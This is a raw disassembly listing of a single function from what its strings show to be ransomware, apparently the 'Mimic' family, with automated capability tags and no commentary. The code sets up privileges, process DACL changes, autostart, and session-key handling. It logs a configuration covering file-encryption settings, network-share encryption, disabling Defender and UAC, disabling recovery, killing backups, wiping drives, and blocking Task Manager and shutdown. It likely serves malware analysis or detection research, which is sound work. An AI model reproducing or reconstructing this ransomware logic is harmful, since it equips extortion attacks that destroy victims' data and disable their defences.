Function at 0x46b620
Capabilities:
Accept command line arguments
Check if file exists
Encode data using base64
Manipulate boot configuration
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57c244
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x5f5ea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x1f4
mov dword [ebp - 0xd4], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov cl, 1
mov dword [ebp - 4], 0
call fcn.00457eb0
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test byte [0x5fc937], 2
mov dword [0x5fc978], eax
je 0x46b6a7
call fcn.0045f500
push 3
push 0x5e1f34
mov ecx, 0x5f6c20
call fcn.0044b730
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x5fead4
mov dword [0x5feaf8], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Rstrtmgr.dll
mov byte [0x5feab1], 1
call esi
test eax, eax
je 0x46b6f2
mov dword [0x5feb24], 1
jmp 0x46b706
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restart_manager_not_loaded__Code__lu.
call fcn.0046adc0
add esp, 8
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
jne 0x46b724
push str.ntdll.dll
call esi
mov edi, eax
test edi, edi
je 0x46b744
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSetInformationProcess
push edi
call esi
push str.NtQueryInformationProcess
push edi
mov dword [0x5fcbac], eax
call esi
mov dword [0x5fcba8], eax
call fcn.004707c0
push 0x5fea94
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov al, byte [0x5fc942]
mov ecx, 0xa
mov byte [0x5fc989], al
mov edi, 0xb
mov al, byte [0x5fc90a]
mov byte [0x5fc959], al
mov al, byte [0x5fc940]
test al, al
mov byte [0x5fc985], 1
mov byte [0x5fc980], al
cmove ecx, edi
mov dword [0x5f69f0], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
mov ecx, esi
mov dword [ebp - 0xd4], esi
call fcn.0045c410
cmp dword [0x5f6c34], 8
mov ecx, 0x5f6c20
cmovae ecx, dword [0x5f6c20]
push ecx
push str.Mimic__s
call fcn.0046adc0
add esp, 8
cmp byte [0x5fc983], 0
je 0x46b82f
cmp dword [0x5f6c64], 8
mov eax, 0x5f6c50
cmovae eax, dword [0x5f6c50]
push eax
push str.___Dump_started_to:__s
call fcn.0046adc0
sub esp, 0x10
mov ecx, esp
push 0x5f6c50
call fcn.0044d0f0
call fcn.00457ce0
push str.___Dump_completed
call fcn.0046adc0
add esp, 0x1c
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005368a5
mov esp, ebp
pop ebp
ret 0x10
push str.___SysInfo...
mov dword [ebp - 4], 4
call fcn.0046adc0
add esp, 4
call fcn.0047e4c0
mov dword [ebp - 4], 0xffffffff
jmp 0x46b878
push esi
push str.CMDLINE:_____s
call fcn.0046adc0
push str.SYSTEMDRIVE
call fcn.005594c6
mov edx, eax
mov dword [ebp - 0x28], 0
mov ecx, edx
mov dword [ebp - 0x24], 7
add esp, 0xc
xor eax, eax
mov word [ebp - 0x38], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46b8b0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x38]
call fcn.0044b730
push 0xe
push str._templock.txt
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 6
call fcn.00452f50
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x24]
test eax, eax
je 0x46b960
cmp edx, 8
jb 0x46b936
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46b92c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
add esp, 8
push str.____Dev_
call fcn.0046adc0
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Closing...
call fcn.0046adc0
add esp, 4
jmp 0x46b80c
cmp edx, 8
jb 0x46b997
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46b98d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de2a
push edx
push ecx
call fcn.00536ae6
add esp, 8
push str.___Set_Privileges...
mov dword [ebp - 4], 7
call fcn.0046adc0
add esp, 4
call fcn.00470eb0
test al, al
jne 0x46b9c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_grant_privileges__Code__lu
call fcn.0046adc0
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x46b9f8
mov eax, dword [0x5f69f0]
cmp eax, 0xe
jne 0x46bb31
push dword [0x5fc97c]
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x46b80c
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x5e2140
lea ecx, [ebp - 0x38]
call fcn.004499c0
mov ecx, 0x5fe1b0
mov dword [ebp - 4], 9
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46ba50
sub ecx, edx
sar ecx, 1
push ecx
push 0x5fe1b0
lea ecx, [ebp - 0x38]
call fcn.00452f50
push 2
push 0x5e2144
lea ecx, [ebp - 0x38]
call fcn.00452f50
cmp dword [0x5f6c4c], 8
lea ecx, [ebp - 0x38]
push dword [0x5f6c48]
mov eax, 0x5f6c38
cmovae eax, dword [0x5f6c38]
push eax
call fcn.00452f50
push 1
push 0
xor dl, dl
mov ecx, 0x5fe3b8
call fcn.00475410
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 5
cmp byte [0x5fc986], al
push 0x2710
cmovne eax, ecx
lea ecx, [ebp - 0x38]
cmp dword [ebp - 0x24], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x38]
push 0
call fcn.00475a10
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x46bb2a
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46bb20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de2f
push edx
push ecx
call fcn.00536ae6
add esp, 8
xor eax, eax
jmp 0x46b811
cmp eax, 0xf
jne 0x46bb86
push str.Unlocker1_started.
call fcn.0046adc0
add esp, 4
push 0
push 0
push 0
push 0x4643d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
mov dword [0x5fea6c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00475810
call fcn.004644d0
push str.Unlocker1_finished.
call fcn.0046adc0
add esp, 4
xor eax, eax
jmp 0x46b811
cmp eax, 0x10
jne 0x46bbcb
push str.Unlocker2_started.
call fcn.0046adc0
add esp, 4
mov ecx, 1
call fcn.004644b0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00475810
call fcn.004644d0
push str.Unlocker2_finished.
call fcn.0046adc0
add esp, 4
xor eax, eax
jmp 0x46b811
push str.___Priority...
mov dword [ebp - 4], 0xa
call fcn.0046adc0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 4
push 0x80
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov eax, dword [0x5fcbac]
mov dword [ebp - 0x54], 3
mov dword [ebp - 0x20], eax
test eax, eax
je 0x46bc36
push 4
lea eax, [ebp - 0x54]
push eax
push 0x21
call edi
push eax
call dword [ebp - 0x20]
jmp 0x46bc36
push esi
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
mov esi, eax
mov dword [ebp - 0x8c], 0
xor eax, eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x88], 7
mov word [ebp - 0x9c], ax
mov dword [ebp - 4], 0xc
push str.___Autostart...
mov byte [ebp - 4], 0xd
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x9c]
mov edx, esi
call fcn.00476800
test al, al
jne 0x46bcb0
mov ecx, 0x5fe1b0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46bc90
sub ecx, edx
sar ecx, 1
push ecx
push 0x5fe1b0
lea ecx, [ebp - 0x9c]
call fcn.0044b730
mov dword [ebp - 4], 0xc
jmp 0x46bcdd
push str.___Relaunch...
mov byte [ebp - 4], 0xf
call fcn.0046adc0
add esp, 4
lea eax, [ebp - 0x20]
cmp dword [ebp - 0x88], 8
lea ecx, [ebp - 0x9c]
mov edx, esi
cmovae ecx, dword [ebp - 0x9c]
push eax
call fcn.004762d0
add esp, 4
test eax, eax
je 0x46bd76
mov edx, dword [ebp - 0x88]
cmp edx, 8
jb 0x46bd54
mov ecx, dword [ebp - 0x9c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46bd4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de34
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov eax, dword [ebp - 0x20]
jmp 0x46b811
mov dword [ebp - 4], 0xc
cmp byte [0x5fc973], 0
jne 0x46bdb3
mov eax, dword [0x5f69f0]
cmp eax, 0xc
je 0x46bdb3
cmp eax, 0xd
je 0x46bdb3
cmp byte [0x5fcba2], 0
je 0x46bdb3
push 0
push 0
push 0
push 0x47b930
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.___Register_hotkey...
call fcn.0046adc0
add esp, 4
push 0
push 0
push 0
push 0x463280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.___Change_Process_DACL...
mov byte [ebp - 4], 0x11
call fcn.0046adc0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 8
mov edi, eax
call fcn.0055a17a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x46be11
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x46be23
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push esi
call fcn.0055224a
add esp, 4
push str.___Set_current_dir...
mov dword [ebp - 4], 0xc
call fcn.0046adc0
add esp, 4
push 0x5fdfa8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x5fdfa8
lea ecx, [ebp - 0x7c]
call fcn.004499c0
push 0xc
push str._session.tmp
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x13
call fcn.00452f50
push 0x5fe7c8
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x46bee3
push str.___Found_previous_session_key_in_backup
call fcn.0046adc0
cmp dword [ebp - 0x68], 8
lea edx, [ebp - 0x7c]
push 1
cmovae edx, dword [ebp - 0x7c]
mov ecx, 0x5fe7c8
call fcn.0045d9f0
add esp, 8
test eax, eax
je 0x46becf
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
push eax
push str.___Restore_previous_session_key_success._Path:__s
jmp 0x46bedb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restore_previous_session_key_failed._Code__lu.
call fcn.0046adc0
add esp, 8
xor cl, cl
mov byte [ebp - 4], 0x14
call fcn.00457eb0
mov dword [ebp - 4], 0x13
mov ecx, 6
mov eax, dword [0x5fcbb4]
xorps xmm0, xmm0
cmp eax, ecx
movlpd qword [ebp - 0x5c], xmm0
push 0
cmova eax, ecx
mov byte [0x5fc970], 1
push 0
mov byte [0x5fc95a], 1
mov byte [0x5fc95b], 1
mov byte [0x5fc95e], 1
mov byte [0x5fc95c], 1
mov byte [0x5fc967], 1
mov byte [0x5fc972], 1
mov byte [0x5fc958], 1
mov byte [0x5fc964], 1
mov byte [0x5fc95f], 1
mov dword [0x5fc96c], eax
mov dword [0x5fc974], eax
mov dword [0x5fc968], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
call fcn.0045c830
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x5c]
cmp dword [0x5f6eb4], 8
mov ecx, 0x5f6ea0
cmovae ecx, dword [0x5f6ea0]
call fcn.0045c160
test eax, eax
je 0x46c097
push 0x14
lea eax, [ebp - 0x28]
push 0x5e11d0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [ebp - 0x5c]
add esp, 0xc
mov esi, dword [edi]
cmp esi, edi
je 0x46c073
push 0x5e11d8
push dword [esi + 8]
call fcn.0054e13e
add esp, 8
mov dword [ebp - 0x20], eax
test eax, eax
je 0x46c069
xor ecx, ecx
mov word [eax], cx
push 0x5e11dc
push dword [esi + 8]
call fcn.0055e6a7
add esp, 8
test eax, eax
jne 0x46c043
mov eax, dword [ebp - 0x20]
mov ecx, 0x5e0fcc
add eax, 2
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x46c028
test dx, dx
je 0x46c024
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x46c028
add eax, 4
add ecx, 4
test dx, dx
jne 0x46c002
xor ecx, ecx
jmp 0x46c02d
sbb ecx, ecx
or ecx, 1
movzx eax, byte [0x5fc988]
test ecx, ecx
mov ecx, 1
cmove eax, ecx
mov byte [0x5fc988], al
lea eax, [ebp - 0x28]
push eax
push dword [esi + 8]
call fcn.0055e6a7
movzx ecx, byte [0x5fc981]
add esp, 8
test eax, eax
mov eax, 1
cmove ecx, eax
mov byte [0x5fc981], cl
mov esi, dword [esi]
cmp esi, edi
jne 0x46bfc3
mov byte [ebp - 4], 0x13
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x46c0c3
mov esi, dword [eax]
push 0xc
push eax
call fcn.00536ae6
add esp, 8
mov eax, esi
cmp esi, edi
jne 0x46c082
jmp 0x46c0c3
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0x5c]
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x46c0c3
nop dword [eax]
mov esi, dword [eax]
push 0xc
push eax
call fcn.00536ae6
add esp, 8
mov eax, esi
cmp esi, edi
jne 0x46c0b0
push 0xc
push edi
call fcn.00536ae6
add esp, 8
mov cl, 1
mov edi, 1
call fcn.004617e0
cmp byte [0x5fc981], 0
je 0x46c0ef
xor cl, cl
call fcn.004617e0
jmp 0x46c3e9
cmp byte [0x5fc988], 0
je 0x46c3e9
lea ecx, [ebp - 0x50]
call fcn.00475be0
push eax
mov ecx, 0x5f6bd8
call fcn.00449980
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46c149
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c13f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de39
push edx
push ecx
call fcn.00536ae6
add esp, 8
lea ecx, [ebp - 0x50]
call fcn.00475dd0
push eax
mov ecx, 0x5f6bf0
call fcn.00449980
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46c196
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c18c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de3e
push edx
push ecx
call fcn.00536ae6
add esp, 8
lea ecx, [ebp - 0x50]
call fcn.00475dd0
push eax
mov ecx, 0x5f6c08
call fcn.00449980
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46c1e3
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c1d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de43
push edx
push ecx
call fcn.00536ae6
add esp, 8
push 1
push 1
mov ecx, 0x5fe918
call fcn.0045cf10
mov ecx, esp
push ecx
call fcn.0046e710
call fcn.0045fd30
push 0x2710
push 0
mov edx, edi
mov ecx, 0x5fe5c0
call fcn.00475a10
add esp, 0x10
test eax, eax
je 0x46de48
push str.___Wait_gui
call fcn.0046adc0
add esp, 4
mov esi, 0x78
xor eax, eax
sub esi, 1
je 0x46c260
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x5f6bec], 8
mov eax, 0x5f6bd8
cmovae eax, dword [0x5f6bd8]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
je 0x46c230
mov dword [0x5fc960], eax
test eax, eax
je 0x46de4f
push eax
push str.___Found_gui._Handle:__i
call fcn.0046adc0
mov eax, dword [0x5fc960]
add esp, 8
mov dword [0x5fc98c], eax
mov byte [0x5fc965], 1
mov byte [0x5fc972], 1
push 0
push 0
push 0
push 0x470400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x5f6c04], 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x5feaf0], eax
mov eax, 0x5f6bf0
cmovae eax, dword [0x5f6bf0]
push eax
push 0
push 0
push 0
mov byte [ebp - 0xd9], 0
call esi
cmp dword [0x5f6c1c], 8
mov ecx, 0x5f6c08
mov dword [ebp - 0xd8], eax
cmovae ecx, dword [0x5f6c08]
push ecx
push 0
push 0
push 0
call esi
mov esi, dword [ebp - 0xd8]
mov dword [ebp - 0xd4], eax
test esi, esi
je 0x46de48
test eax, eax
je 0x46de48
push str.Waiting_for_signal_to_continue
call fcn.0046adc0
add esp, 4
push 0xffffffffffffffff
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call esi
push 0x32
push dword [ebp - 0xd4]
call esi
movzx ecx, byte [ebp - 0xd9]
cmp eax, 0x102
push dword [ebp - 0xd8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmove ecx, edi
mov dword [ebp - 0x20], ecx
call esi
push dword [ebp - 0xd4]
call esi
cmp byte [ebp - 0x20], 0
je 0x46de48
cmp dword [0x5fc98c], 0
mov byte [0x5fc965], 0
je 0x46c3ba
push str.Started_from_gui
mov dword [ebp - 0x2c], 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x24], str.Started_from_gui
lea eax, [eax*2 + 2]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x20]
push eax
push 0xfa
push 2
lea eax, [ebp - 0x2c]
push eax
push 5
push 0x4a
push dword [0x5fc98c]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
xor cl, cl
call fcn.004617e0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x47e0d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x462da0
push 0
push 0
call esi
call fcn.00459ba0
mov al, byte [0x5fc90a]
mov cl, byte [0x5fc942]
mov byte [0x5fc959], al
mov al, byte [0x5fc940]
mov byte [0x5fc989], cl
mov byte [0x5fc980], al
test al, al
jne 0x46c426
mov eax, dword [0x5f69f0]
test cl, cl
mov ecx, 0xb
cmove eax, ecx
mov dword [0x5f69f0], eax
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x46c477
cmp dword [ebp - 0x68], 8
lea ecx, [ebp - 0x7c]
push 1
cmovae ecx, dword [ebp - 0x7c]
mov edx, 0x5fe7c8
call fcn.0045d9f0
add esp, 4
test eax, eax
je 0x46c469
push str.___Backup_session_key_success
call fcn.0046adc0
add esp, 4
jmp 0x46c490
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Backup_session_key_failed._Code__lu.
jmp 0x46c488
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
push eax
push str.____Connot_find_own_session_key._Path:__s
call fcn.0046adc0
add esp, 8
push 0x5fdfa8
push str.___Protect_directory...:__s
call fcn.0046adc0
add esp, 8
lea ecx, [ebp - 0x38]
push 0x5fdfa8
call fcn.004499c0
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 8
push 6
cmovae eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push 0
cmovae eax, dword [ebp - 0x38]
push 0x2000000
push 3
push 0
push 7
push 0x10e0000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x46c55f
cmp byte [0x5fcba2], 0
je 0x46c51b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x24], 8
lea ecx, [ebp - 0x38]
push eax
cmovae ecx, dword [ebp - 0x38]
push ecx
push str.____Failed_to_read_permissions:__s__Code__lu
call fcn.0046adc0
add esp, 0xc
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x46c5b1
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46c553
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de63
push edx
push ecx
call fcn.00536ae6
add esp, 8
jmp 0x46c5b1
mov eax, dword [0x5fcba4]
test eax, eax
je 0x46c59e
push 0
push eax
push 0
push 0
push 4
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
je 0x46c59e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x24], 8
lea ecx, [ebp - 0x38]
push eax
cmovae ecx, dword [ebp - 0x38]
push ecx
push str.____SetSecurityInfo_failed__folder:__s__Code__lu
call fcn.0046adc0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x13
call fcn.00449920
push str.___Using_settings:
call fcn.0046adc0
push str._____________________
call fcn.0046adc0
cmp dword [0x5f6afc], 8
mov eax, 0x5f6ae8
cmovae eax, dword [0x5f6ae8]
push eax
push str.___NoteId:_____________s
call fcn.0046adc0
mov ecx, dword [0x5fc948]
mov eax, dword [0x5fc94c]
shrd ecx, eax, 5
push ecx
push str.___Keys_count:_________i
call fcn.0046adc0
call fcn.00457530
movzx eax, al
push eax
push str.___Encrypt_percent:____i___
call fcn.0046adc0
movzx eax, byte [0x5fc947]
push eax
push str.______for_files:________i_MiB
call fcn.0046adc0
add esp, 0x28
lea ecx, [ebp - 0x50]
push 0x5f6b18
call fcn.0044d0f0
mov dword [ebp - 0xd4], 1
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 8
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Extension:__________s
call fcn.0046adc0
add esp, 8
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x50]
call fcn.00449920
cmp dword [0x5f6b44], 8
mov eax, 0x5f6b30
cmovae eax, dword [0x5f6b30]
push eax
push str.___Note_file_name:_____s
call fcn.0046adc0
mov eax, dword [0x5fc92c]
shl eax, 0xa
shr eax, 0xa
push eax
push str.___File_max_size__stage1_:______lu_KiB
call fcn.0046adc0
mov eax, dword [0x5fc950]
shl eax, 0xa
shr eax, 0xa
push eax
push str.___File_max_size__global_:______lu_KiB
call fcn.0046adc0
mov eax, dword [0x5fc930]
shl eax, 0x14
shr eax, 0x14
push eax
push str.___Process_max_RAM:____lu_MiB
call fcn.0046adc0
cmp byte [0x5fc982], 0
mov esi, 0x5e29e0
mov eax, esi
mov edi, 0x5e29e8
cmove eax, edi
push eax
push str.___Self_delete:________s
call fcn.0046adc0
cmp byte [0x5fc935], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Priority_modify:____s
call fcn.0046adc0
mov eax, esi
cmp byte [0x5fc987], 0
cmove eax, edi
push eax
push str.___Log_check_sum:______s
call fcn.0046adc0
cmp byte [0x5fc973], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_single:_____s
call fcn.0046adc0
add esp, 0x40
mov eax, esi
cmp byte [0x5fc985], 0
cmove eax, edi
push eax
push str.___Encrypt_local:______s
call fcn.0046adc0
cmp byte [0x5fc989], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_net_drive:__s
call fcn.0046adc0
cmp byte [0x5fc959], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_net_prio:___s
call fcn.0046adc0
cmp byte [0x5fc980], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_share:______s
call fcn.0046adc0
cmp byte [0x5fc945], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_hidden_dr:__s
call fcn.0046adc0
cmp byte [0x5fc984], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Anti_Kill_protect:__s
call fcn.0046adc0
cmp byte [0x5fc946], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_defender:___s
call fcn.0046adc0
cmp byte [0x5fc986], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Visible:____________s
call fcn.0046adc0
add esp, 0x40
mov eax, esi
cmp byte [0x5fc941], 0
cmove eax, edi
push eax
push str.___Wipe_drives:________s
call fcn.0046adc0
movzx eax, byte [0x5fc937]
push eax
push str.___Log_level:__________i
call fcn.0046adc0
cmp byte [0x5fc936], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Delete_log_at_end:__s
call fcn.0046adc0
cmp byte [0x5fc970], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Use_Everything:_____s
call fcn.0046adc0
cmp byte [0x5fc95a], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Kill_Telemetry:_____s
call fcn.0046adc0
cmp byte [0x5fc95b], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Kill_Backup__SQL:__s
call fcn.0046adc0
cmp byte [0x5fc95e], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_UAC:________s
call fcn.0046adc0
cmp byte [0x5fc95c], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_Recovery:___s
call fcn.0046adc0
add esp, 0x40
mov eax, esi
cmp byte [0x5fc967], 0
cmove eax, edi
push eax
push str.___Unmount_Virt_Drv:___s
call fcn.0046adc0
cmp byte [0x5fc972], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Search_Hid_Shares:__s
call fcn.0046adc0
cmp byte [0x5fc958], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Block_task_man:_____s
call fcn.0046adc0
cmp byte [0x5fc964], 0
cmove esi, edi
push esi
push str.___Block_shutdown:_____s
call fcn.0046adc0
push dword [0x5fc96c]
push str.___Local_threads:______i
call fcn.0046adc0
push dword [0x5fc974]
push str.___Network_threads:____i
call fcn.0046adc0
push dword [0x5fc968]
push str.___User_threads:_______i
call fcn.0046adc0
movzx eax, byte [0x5fc943]
add esp, 0x38
sub eax, 0
je 0x46c950
sub eax, 1
je 0x46c949
sub eax, 1
jne 0x46c962
push str.Full
jmp 0x46c955
push str.Partial
jmp 0x46c955
push str.None
push str.___Reserve_mode:_______s
call fcn.0046adc0
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x1b
mov edi, dword [0x5fe8c0]
mov esi, dword [edi]
cmp esi, edi
je 0x46c9d1
nop word [eax + eax]
lea edx, [esi + 8]
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.004544e0
add esp, 4
mov byte [ebp - 4], 0x1c
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x46c9b2
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00452f50
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1b
call fcn.00449920
mov esi, dword [esi]
cmp esi, edi
jne 0x46c990
